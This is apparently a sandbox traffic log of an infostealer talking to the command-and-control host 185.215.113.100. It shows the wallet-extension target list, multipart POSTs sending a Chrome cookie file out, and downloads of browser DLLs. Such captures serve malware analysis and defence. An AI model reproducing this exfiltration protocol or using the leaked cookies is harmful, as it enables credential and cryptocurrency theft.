TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 28, 2024 11:51:04.979343891 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Aug 28, 2024 11:51:04.979355097 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Aug 28, 2024 11:51:04.979384899 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Aug 28, 2024 11:51:04.979397058 CEST	656	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Aug 28, 2024 11:51:04.979406118 CEST	1236	IN	Data Raw: 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 Data Ascii: aWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamt
Aug 28, 2024 11:51:04.979415894 CEST	508	IN	Data Raw: 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 Data Ascii: fDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHx
Aug 28, 2024 11:51:04.981455088 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"fplugins------HJDHCFCBGIDGHJJKJJDG--
Aug 28, 2024 11:51:05.227334976 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 28, 2024 11:51:05.244020939 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJD Host: 185.215.113.100 Content-Length: 7067 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 11:51:05.244075060 CEST	7067	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 28, 2024 11:51:06.218839884 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:06.462655067 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:06.704463959 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 28, 2024 11:51:06.704473972 CEST	164	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 28, 2024 11:51:06.704494953 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Aug 28, 2024 11:51:08.155078888 CEST	953	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.100 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------GDHDHJEBGHJKFIECBGCB--
Aug 28, 2024 11:51:08.956160069 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:09.036873102 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file"------GHIDHCBGDHJKEBGDGIJE--
Aug 28, 2024 11:51:09.857484102 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:10.483918905 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="file"------HJKECAAAFHJECAAAEBFC--
Aug 28, 2024 11:51:11.283106089 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:11.658482075 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:11.900922060 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 28, 2024 11:51:13.092505932 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:13.332712889 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 28, 2024 11:51:13.963984966 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:14.203963995 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( 